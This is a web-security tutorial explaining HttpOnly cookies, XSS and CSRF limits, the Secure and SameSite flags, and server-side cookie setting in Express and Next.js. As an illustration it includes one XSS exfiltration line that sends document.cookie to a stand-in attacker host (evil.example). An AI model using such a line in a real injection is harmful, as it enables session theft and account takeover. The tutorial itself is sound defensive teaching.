Open DevTools on a site you're logged into and type document.cookie. Your session cookie is usually missing from the output. The browser has it and sends it with every request, so why can't you see it?

Because it's marked HttpOnly.

The mental model: a sealed envelope

An HttpOnly cookie is a sealed envelope the browser carries for you. The browser delivers it to the server on every request, but JavaScript on the page can't open it, read it or change it.

That's the whole idea. The server writes the envelope, the browser carries it, the server reads it. Scripts never touch it.

Scripts are locked out of the jar, but the browser still attaches the cookie to requests they make. That is why HttpOnly limits XSS instead of stopping it.

How it works

  1. The server sets the cookie with a Set-Cookie response header and adds the HttpOnly flag.
  2. The browser stores it in its cookie jar like any other cookie.
  3. On every matching request, the browser attaches it in the Cookie header. You write no code for this.
  4. JavaScript is locked out. document.cookie skips it, and scripts can't overwrite it.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ 
console.log(document.cookie); // "theme=dark" ← session is not there 

Why it matters: XSS

XSS (cross-site scripting) means an attacker gets their own JavaScript running on your page, for example through an unescaped comment field. Without HttpOnly, one line sends your session to them:

fetch("https://evil.example/steal?c=" + document.cookie); 

Now they can log in as you from their own machine, for as long as the session lives. With HttpOnly, document.cookie comes back without the session, and the token can't leave the browser.

The honest stakes: HttpOnly limits the damage of XSS, it doesn't stop it. While the attacker's script runs in your tab, it can still call your API, and the browser will attach the cookie for it. What it can't do is take the token away and reuse it later. You still need to prevent XSS itself (escape output, use a Content Security Policy).

The flags that travel with it

HttpOnly is one of three flags you should set on a session cookie:

Flag What it does Helps against ---------------------- ------------------------------------------- --------------------------------------- HttpOnly Hides the cookie from JavaScript Token theft via XSS Secure Sends it only over HTTPS Sniffing on the network SameSite=Lax or Strict Doesn't send it on most cross-site requests CSRF (forged requests from other sites) 

In practice

Set the cookie on the server, never from client JavaScript. A cookie created with document.cookie can't be HttpOnly, which defeats the point.

Express:

app.post("/login", (req, res) => { const token = createSession(req.body); // your own login logic res.cookie("session", token, { httpOnly: true, secure: true, sameSite: "lax", maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days, in ms }); res.json({ ok: true }); }); app.get("/me", (req, res) => { const token = req.cookies.session; // needs cookie-parser // validate the token, load the user... }); 

Next.js (App Router route handler):

// app/api/login/route.ts import { cookies } from "next/headers"; export async function POST(request: Request) { const token = await createSession(await request.json()); const cookieStore = await cookies(); cookieStore.set("session", token, { httpOnly: true, secure: process.env.NODE_ENV === "production", sameSite: "lax", path: "/", maxAge: 60 * 60 * 24 * 7, // 7 days, in seconds }); return Response.json({ ok: true }); } 

Note the trap: Express maxAge is in milliseconds, Next.js maxAge is in seconds.

Before → after: if your app stores a JWT in localStorage and adds it to an Authorization header, any XSS can read and send it away. Move it into an HttpOnly cookie and that one-line theft stops working.

Say it in an interview

"An HttpOnly cookie can't be read or changed by JavaScript. The browser still sends it with every request, so the server can use it for the session. It protects auth tokens from being stolen through XSS. It doesn't stop XSS itself, because an injected script can still make requests as the user, so you pair it with Secure, SameSite and output escaping."

Cheat sheet

  • HttpOnly = the browser sends the cookie, scripts can't read it.
  • Set it from the server with Set-Cookie. Client JS can't create an HttpOnly cookie.
  • It stops token theft, not XSS itself.
  • Use it with Secure and SameSite on every session cookie.
  • Prefer it over localStorage for auth tokens.

Going deeper

Advanced and optional. Everything above is enough to explain this in an interview. This part is for the curious: full numbers, edge cases and what's still unproven.

What HttpOnly doesn't protect

  • Requests made from the page. An injected script can fetch("/api/transfer", { method: "POST" }) and the browser attaches the cookie. HttpOnly only stops reading the value.
  • CSRF. A form on another site can still trigger a request that carries the cookie. SameSite=Lax blocks most of these; for sensitive actions, add a CSRF token too.
  • Tampering by the user. Anyone can edit their own cookies in DevTools. If a cookie holds data, the server must validate or sign it.

SameSite values

  • Strict: never sent on cross-site requests, not even when you click a link from another site to yours. Safest, but users arriving from a link look logged out on the first page.
  • Lax: sent on top-level navigations (clicking a link), not on cross-site fetch, forms that POST, or iframes. A good default for session cookies, and the browser default when SameSite is missing in Chrome.
  • None: always sent, and requires Secure. Only for cookies that must work cross-site, such as embedded widgets.

Name a cookie __Host-session and the browser only accepts it if it has Secure, Path=/ and no Domain. That stops a subdomain from overwriting your session cookie. __Secure- only requires Secure.

Further reading